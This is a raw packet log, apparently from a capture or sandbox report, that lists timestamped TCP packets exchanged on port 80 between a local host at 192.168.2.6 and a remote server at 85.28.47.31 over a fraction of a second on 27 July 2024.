Jul 27, 2024 03:19:17.345963001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.345979929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.345983028 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.345993996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.346002102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.346015930 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.346038103 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.346385002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.346410036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.346432924 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.346445084 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.392694950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.392726898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.392776966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.392808914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.392842054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.392873049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.392905951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.392913103 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.392956972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.392956972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.392977953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.393709898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.393762112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.393810987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.393815994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.393843889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.393846035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.393877983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.393909931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.393929958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.393943071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.393955946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.394078016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.395760059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.395792007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.395827055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.395839930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.395869017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.395874023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.395878077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.395911932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.395925045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.395958900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.395963907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.395991087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.395992041 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.396023989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.396039009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.396070004 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.396074057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.396106958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.396126986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.396142006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.396140099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.396178961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.396178961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.396215916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.396238089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.396250963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.396254063 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.396286011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.396287918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.396315098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.396322012 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.396349907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.396764040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.396791935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.396809101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.396826029 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.396842957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.396881104 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.396894932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.396931887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.396945953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.396981001 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.396995068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.397026062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.397032022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.397058964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.397061110 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.397092104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.397095919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.397125006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.397128105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.397157907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.397160053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.397254944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.397255898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.397288084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.397291899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.397321939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.397324085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.397357941 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.397357941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.397397041 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.434992075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.435040951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.435075045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.435106039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.435116053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.435138941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.435143948 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.435153961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.435173035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.435184956 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.435208082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.435219049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.435249090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.436820984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.436863899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.436870098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.436903954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.436909914 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.436937094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.436940908 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.436970949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.436973095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.437004089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.437010050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.437040091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.437042952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.437094927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.437789917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.437838078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.437840939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.437871933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.437880993 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.437911034 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.437922001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.437956095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.437959909 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.437993050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.438004017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.438041925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.438045979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.438074112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.438079119 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.438107967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.438111067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.438141108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.438148975 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.438189030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.438195944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.438222885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.438231945 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.438257933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.438261986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.438292027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.438297033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.438330889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.438904047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.438935995 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.438956022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.438970089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.438986063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.439017057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.439023018 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.439053059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.439054012 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.439085960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.439095974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.439119101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.439121962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.439153910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.439898014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.439945936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.439949989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.439980984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.439987898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.440013885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.440021992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.440047979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.440053940 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.440087080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.440100908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.440143108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.440150976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.440191984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.440423012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.440454960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.440466881 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.440490007 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.440509081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.440542936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.440542936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.440577030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.440582037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.440612078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.440613031 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.440645933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.440649033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.440685034 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.440840006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.440871954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.440880060 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.440907955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.440921068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.440953016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.440963030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.440987110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.440993071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.441019058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.441028118 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.441052914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.441056967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.441087961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.445214987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.445247889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.445281982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.445296049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.445314884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.445322990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.445322990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.445353031 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.446362972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.446397066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.446408033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.446429968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.446434021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.446465015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.446465015 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.446501017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.446614027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.446649075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.446662903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.446696043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.446698904 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.446727991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.446732044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.446760893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.446763039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.446793079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.446796894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.446825981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.446829081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.446861982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.494134903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.494185925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.494220018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.494251013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.494277000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.494277000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.494283915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.494317055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.494318008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.494348049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.494354010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.494365931 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.494384050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.494391918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.494426966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.494828939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.494873047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.494877100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.494910955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.494920015 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.494942904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.494951010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.494977951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.494981050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.495011091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.495019913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.495045900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.495054007 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.495088100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.495676041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.495721102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.495726109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.495759010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.495760918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.495791912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.495800972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.495826006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.495832920 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.495860100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.495866060 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.495901108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.495924950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.495965004 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.496006966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.496038914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.496045113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.496074915 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.496090889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.496123075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.496135950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.496155977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.496161938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.496189117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.496196032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.496227026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.496232986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.496268988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.496928930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.496978045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.496982098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.497015953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.497025013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.497055054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.497066975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.497100115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.497108936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.497132063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.497140884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.497165918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.497173071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.497205973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.497980118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.498012066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.498025894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.498047113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.498051882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.498090982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.498099089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.498131990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.498142958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.498166084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.498171091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.498200893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.498207092 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.498234034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.498241901 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.498272896 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.523788929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.523838043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.523870945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.523901939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.523936033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.523967981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.524000883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.524013042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.524013996 CEST	49710	80	192.168.2.6	85.28.47.31
